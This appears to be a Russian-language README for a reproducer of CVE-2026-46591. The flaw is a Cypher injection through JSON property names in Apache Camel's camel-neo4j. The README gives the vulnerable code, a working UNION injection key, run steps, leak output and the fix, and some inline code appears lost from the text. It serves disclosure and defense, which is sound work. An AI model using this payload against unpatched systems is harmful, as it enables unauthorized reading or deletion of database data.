
Воспроизводитель для CVE-2026-46591: инъекция Cypher в Apache Camel camel-neo4j через имена свойств в CamelNeo4jMatchProperties, что позволяет обойти авторизацию / эксфильтрацию данных между метками (исправлено в 4.14.8/4.18.3/4.21.0)
Этот проект демонстрирует инъекцию Cypher в компоненте camel-neo4j Apache Camel, отслеживаемую как
CVE-2026-46591. Производитель строит предложение WHERE Cypher для операций match/retrieve и delete
из карты CamelNeo4jMatchProperties. CVE-2025-66169 устранил инъекцию через значения свойств, связывая
их как параметры запроса ($paramN) — но имена свойств (ключи JSON этой карты) по-прежнему вставляются
в строку запроса дословно в Neo4jProducer.retrieveNodes() и deleteNode(). Имя свойства, содержащее
синтаксис Cypher, таким образом изменяет структуру выполняемого запроса.
Данное PoC демонстрирует воздействие как обход авторизации / эксфильтрацию данных: злоумышленник
помещает Cypher в ключ JSON, чтобы поиск :Person был переписан (через ) и также возвращал узел
, к которому он никогда не должен был обращаться — что соответствует описанию уязвимости
«чтение, изменение или удаление любого узла или отношения».
UNION:Secret| Свойство | Значение |
|---|---|
| Компонент | camel-neo4j |
| Затрагиваемый класс | org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (имя свойства интерполируется в предложение WHERE) |
| CWE | CWE-943 (Неправильная нейтрализация специальных элементов в логике запроса данных) |
| Воздействие | Инъекция Cypher → чтение / изменение / удаление произвольных узлов и отношений |
| Предварительные условия | Маршрут сопоставляет недоверенные входные данные с картой CamelNeo4jMatchProperties (например, тело запроса); заголовок имеет префикс Camel, поэтому обычный HTTP-клиент не может установить его напрямую |
| Затронутые версии | от 4.10.0 до 4.14.8, от 4.15.0 до 4.18.3, от 4.19.0 до 4.21.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23528 (PR apache/camel#23258) |
| Автор | Yu Bao (PayPal) |
Продолжение неполного исправления CVE-2025-66169 (CAMEL-22719), которое параметризовало значения, но оставило интерполяцию имён свойств. Та же группа, смежная с инъекцией заголовков, что и CVE-2025-27636, CVE-2026-40453 и другие.
// Neo4jProducer.retrieveNodes (затрагиваемая версия 4.18.2) — ЗНАЧЕНИЕ является параметром, ИМЯ вставляется дословно:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
if (paramIndex > 0) whereClause.append(" AND ");
String paramName = "param" + paramIndex;
whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey() (ключ JSON) не экранирован
.append(" = $").append(paramName);
queryParams.put(paramName, entry.getValue()); // значение безопасно привязывается
paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);
С безобидной картой {"name":"alice"} запрос будет
MATCH (n:Person) WHERE n.name = $param0 RETURN n. Со злонамеренным ключом:
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
построенный запрос становится (концевая часть // = $param0 RETURN n из шаблона закомментирована):
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node
таким образом ответ содержит узел :Person вызывающей стороны и узел :Secret.
Исправление (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528) добавляет строгую проверку имён свойств
(^[A-Za-z_][A-Za-z0-9_]*$) в обоих методах retrieveNodes() и deleteNode(), отклоняя любое
неподходящее имя с исключением Neo4jOperationException.
from("platform-http:/lookup")
.convertBodyTo(String.class)
.setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
.setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // недоверенное тело JSON становится картой соответствия
.to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");
API «найти человека по свойствам»: клиент предоставляет критерии поиска в JSON, а маршрут передаёт их
производителю как CamelNeo4jMatchProperties. Граф содержит два узла :Person и один узел :Secret,
чей value никогда не должен возвращаться при поиске человека.
Жертва — это маршрут Camel и его база данных Neo4j; злоумышленник — HTTP-клиент, помещающий Cypher в ключ JSON. Небольшой сидер размещает узлы и задерживает запуск до готовности Neo4j.
CVE-2026-46591/
├── pom.xml # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml # neo4j 5.26 + приложение
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Neo4jSettings.java # хост / bolt / учётные данные / секретный флаг
│ ├── Neo4jConfig.java # бин драйвера Neo4j (ссылка #neo4jDriver)
│ ├── Neo4jSeeder.java # ожидает Neo4j, размещает узлы :Person + :Secret
│ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES
│ └── ExploitController.java # атакующий: легитимный vs Cypher-в-ключе JSON
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # первый запуск загружает образ neo4j ~1 ГБ
# дождаться строки лога приложения "Started Application", затем:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
=== 1) Legitimate lookup body={"name":"alice"} ===
[{name=alice, role=user}]
secret leaked: false
=== 2) Injected lookup (Cypher in the JSON key) ===
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
[{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
secret leaked: true
>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true
Любой маршрут, который передаёт недоверенные данные в CamelNeo4jMatchProperties для операции
RETRIEVE_NODES или DELETE_NODE. Помимо чтения других меток через UNION, внедрённый ключ может
добавлять предложения SET / DELETE / DETACH DELETE для изменения или уничтожения произвольных
узлов и отношений.
Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528). После исправления имена свойств проверяются
на соответствие ^[A-Za-z_][A-Za-z0-9_]*$ перед помещением в запрос.
До обновления не заполняйте CamelNeo4jMatchProperties из недоверенного ввода: проверяйте или
разрешайте имена свойств (например, по ^[A-Za-z_][A-Za-z0-9_]*$) перед передачей производителю
Neo4j, и убедитесь, что любой потребитель, питающий такой маршрут, фильтрует входящие заголовки
Camel* / camel*, чтобы заголовок соответствия не мог быть предоставлен внешним отправителем.
Данный воспроизводитель предоставлен только для исследований безопасности и авторизованного тестирования публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.